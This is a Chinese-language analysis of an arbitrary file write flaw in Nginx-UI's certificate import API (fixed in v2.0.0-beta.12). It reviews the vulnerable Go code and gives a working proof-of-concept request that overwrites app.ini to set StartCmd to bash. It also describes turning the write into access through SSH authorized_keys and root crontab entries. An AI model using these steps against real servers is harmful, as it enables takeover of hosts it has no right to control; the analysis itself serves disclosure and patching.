漏洞描述

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.
Nginx UI是一个用于管理Nginx配置的web界面。其中导入证书功能,允许任意写入文件。该功能不检查提供的用户输入是否是证书/密钥,并允许写入系统中的任意路径。通过覆盖配置文件app.ini,有可能利用该漏洞进行远程代码执行。2.0.0.beta.12版本修复了该问题

影响版本

<v2.0.0-beta.12

安全版本

v2.0.0-beta.12

漏洞分析

路由分析

通过漏洞描述我们可以知道漏洞点是位于导入证书功能,搭建好靶场后,进入web页面,导入抓包。获取路由。



查看代码,可以发现系统使用gin框架,gin框架的路由定义可以参考以下例子,是通过绑定一个相应请求到路由上,当访问这个路由时,就会会执行相应的函数。

package main

import (
    "github.com/gin-gonic/gin"
)

func main() {
    // 创建一个默认的路由引擎
    r := gin.Default()

    // 绑定一个GET请求到 /hello 路由上,当访问这个路由时,会执行相应的函数
    r.GET("/hello", func(c *gin.Context) {
        // 使用Context的String方法返回响应码200和字符串"Hello World"
        c.String(200, "Hello World")
    })

    // 运行HTTP服务器,默认监听在0.0.0.0:8080
    r.Run()
}

这里直接进行关键词搜索我们可以到api路径下,r.Group("/api")是用来创建一个路由组的方法。其中g := root.Group("/", authRequired(), proxy())的authRequired()和proxy()是作为中间件应用到这个路由组的,authRequired()从名字可以看出用于验证用户身份。

查看authRequired()函数代码,具体为从请求头中读取Authorization,如果为空读取X-Node-Secre,然后使用CheckToken方法进行查询。

func authRequired() gin.HandlerFunc {
    return func(c *gin.Context) {
        abortWithAuthFailure := func() {
            c.AbortWithStatusJSON(http.StatusForbidden, gin.H{
                "message": "Authorization failed",
            })
        }

        token := c.GetHeader("Authorization")
        if token == "" {
            if token = c.GetHeader("X-Node-Secret"); token != "" && token == settings.ServerSettings.NodeSecret {
                c.Set("NodeSecret", token)
                c.Next()
                return
            } else {
                c.Set("ProxyNodeID", c.Query("x_node_id"))
                tokenBytes, _ := base64.StdEncoding.DecodeString(c.Query("token"))
                token = string(tokenBytes)
                if token == "" {
                    abortWithAuthFailure()
                    return
                }
            }
        }

        if model.CheckToken(token) < 1 {
            abortWithAuthFailure()
            return
        }

        if nodeID := c.GetHeader("X-Node-ID"); nodeID != "" {
            c.Set("ProxyNodeID", nodeID)
        }

        c.Next()
    }
}

这里CheckToken为从数据库中查找token,虽然从后续的GenerateJWT方法可以看出使用JWT认证,但其中的JwtSecret在配置文件中定义(不存在硬编码问题),并且GenerateJWT方法创建JWT后执行存进数据库操作,并且认证也是进行数据库取值比对,这里的验证未发现绕过操作,漏洞属于需要认证的后台漏洞。

漏洞点分析

从上面的/api/路由组中我们可以发现certificate.InitCertificateRouter(g)函数,注册了一系列与证书相关的路由和处理器,其中就存在cert路由以及处理器AddCert。

查看AddCert函数代码可以发现它是一个Gin的HTTP处理函数,用于添加一个新的证书。首先定义一个匿名结构体,用于解析和验证传入的JSON请求体。其中的证书路径和证书密钥路径,属于必填,用于后续的创建文件,然后初始化一个证书模型对象接收传入的json参数。接收成功后执行content.WriteFile()写入文件。

func AddCert(c *gin.Context) {
    var json struct {
        Name                  string `json:"name"`
        SSLCertificatePath    string `json:"ssl_certificate_path" binding:"required"`
        SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
        SSLCertificate        string `json:"ssl_certificate"`
        SSLCertificateKey     string `json:"ssl_certificate_key"`
        ChallengeMethod       string `json:"challenge_method"`
        DnsCredentialID       int    `json:"dns_credential_id"`
    }
    if !api.BindAndValid(c, &json) {
        return
    }
    certModel := &model.Cert{
        Name:                  json.Name,
        SSLCertificatePath:    json.SSLCertificatePath,
        SSLCertificateKeyPath: json.SSLCertificateKeyPath,
        ChallengeMethod:       json.ChallengeMethod,
        DnsCredentialID:       json.DnsCredentialID,
    }

    err := certModel.Insert()

    if err != nil {
        api.ErrHandler(c, err)
        return
    }

    content := &cert.Content{
        SSLCertificatePath:    json.SSLCertificatePath,
        SSLCertificateKeyPath: json.SSLCertificateKeyPath,
        SSLCertificate:        json.SSLCertificate,
        SSLCertificateKey:     json.SSLCertificateKey,
    }

    err = content.WriteFile()

    if err != nil {
        api.ErrHandler(c, err)
        return
    }

    c.JSON(http.StatusOK, Transformer(certModel))
}

查看WriteFile()函数,从名字就可以知道这是一个进行写入文件操作的函数。可以看到会先创建创建存放SSL证书的目录和存放SSL证书密钥的目录,如果目录已存在就不会进行创建操作。如何将内容写入文件。

func (c *Content) WriteFile() (err error) {
    // MkdirAll creates a directory named path, along with any necessary parents,
    // and returns nil, or else returns an error.
    // The permission bits perm (before umask) are used for all directories that MkdirAll creates.
    // If path is already a directory, MkdirAll does nothing and returns nil.

    err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
    if err != nil {
        return
    }

    err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
    if err != nil {
        return
    }

    if c.SSLCertificate != "" {
        err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
        if err != nil {
            return
        }
    }

    if c.SSLCertificateKey != "" {
        err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
        if err != nil {
            return
        }
    }

    return
}

文件写入利用思路

这里我们知道我们可以将任意内容写入服务器中任意文件,也可以创建新的文件,不过这里需要注意一个点,如果是新创建的文件权限为0644是不具备执行权限的。这里的权限为所有者允许读写,而所属组成员和其他用户仅读取。所以这里我们需要关注于本机上已经存在的文件。这里先分析漏洞发现者的利用思路。

利用程序配置文件

在前面查看app.ini配置文件时,我们可以发现一个参数StartCmd。

通过搜索StartCmd参数可以发现,其在NewPipeLine函数中被执行。分析代码可以发现NewPipeLine函数是启动一个新的伪终端的操作。通看上下文代码可以知道作者写这里的作用是为了实现一个在Web浏览器中创建一个类似命令行的界面,让用户能够远程执行和控制一个shell会话。

这里StartCmd参数中的值会被c := exec.Command(settings.ServerSettings.StartCmd)执行,所以我们只需要将我们想要执行的名通过StartCmd参数写入app.ini配置文件,app,ini为程序启动的配置文件,在程序重新启动时便可以执行我们想要的命令。

这里的利用思路很巧妙,不过缺点在于需要重新启动程序。这里也可以利用常用的文件写入的利用思路。

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close

{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost          = 0.0.0.0\r\nHttpPort          = 9000\r\nRunMode           = debug\r\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail             = props@pros.com\r\nDatabase          = database\r\nStartCmd          = bash\r\nCADir             = dqsdqsd\r\nDemo              = false\r\nPageSize          = 10\r\nGithubProxy       = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath  =\r\nConfigDir     =\r\nPIDPath       =\r\nTestConfigCmd =\r\nReloadCmd     =\r\nRestartCmd    =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken   =\r\nProxy   =\r\nModel   = \r\n\r\n[casdoor]\r\nEndpoint     =\r\nClientId     =\r\nClientSecret =\r\nCertificate  =\r\nOrganization =\r\nApplication  =\r\nRedirectUri  =","ssl_certificate_key":"test2"}


写入SSH公钥免密登陆

这里也可以通过写入写入SSH公钥免密登陆,首先我们需要先在客户端生成SSH密钥对,可以使用 ssh-keygen 命令

ssh-keygen -t rsa -b 4096

此时会在在 ~/.ssh/ 目录下生成两个文件,id_rsa(私钥)和 id_rsa.pub(公钥)。我们只需要将生成的公钥(id_rsa.pub)写入到服务器的 ~/.ssh/authorized_keys 文件中,便可以直接通过ssh登陆到服务器。

成功写入SSH公钥

成功登陆服务器

计划任务

Linux计划任务是一种在Linux操作系统中自动执行任务的方法,cron是一个守护进程,它根据一个称为crontab(cron table)的配置文件运行。我们可以通过crontab命令编辑他们的个人计划任务列表,也可以直接编辑系统中自带的计划任务脚本。

  • /etc/crontab:系统的主crontab文件。

  • /etc/cron.d/:一个目录,可以包含附加的crontab配置文件。

  • /etc/cron.daily/:存储每天执行一次的脚本。

  • /etc/cron.hourly/:存储每小时执行一次的脚本。

  • /etc/cron.weekly/:存储每周执行一次的脚本。

  • /etc/cron.monthly/:存储每月执行一次的脚本。

当然每个用户也可以有自己的crontab文件,这些文件通常存储在/var/spool/cron/目录中,在当前漏洞中我们新建的文件没有执行权限,所以优先直接更改系统自带的计划任务。我们可以直接更改系统的主crontab文件/etc/crontab。打开格式如下,我们只需要在最新一行写上计划任务就行,如下。

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
* * * * * root whoami >> /var/log/whoami.log 2>&1

其中* * * * *:时间和日期字段,每个星号代表一个时间单位。从左到右分别是:分钟、小时、一月中的日、月份、一周中的日。星号(*)表示每个时间单位的每个可能的值。而root表示任务将以 root 用户的权限执行。

将以上命令转换成json字符串传输进行。

成功写入文件

成功执行命令

总结

该漏洞是对于用户的输入是否是证书/密钥,写入系统中的文件路径。未经检查造成的任意文件写入漏洞。该漏洞存在创建文件操作,但文件无执行权限,并且对于golng这种编译型语言。没有办法上传webshell,所以只能通过上传或文件写入加其他利用达到RCE效果。

修复建议

将组件Nginx-UI升级至v2.0.0-beta.12及以上版本

来源

https://avd.aliyun.com/detail?id=AVD-2024-23827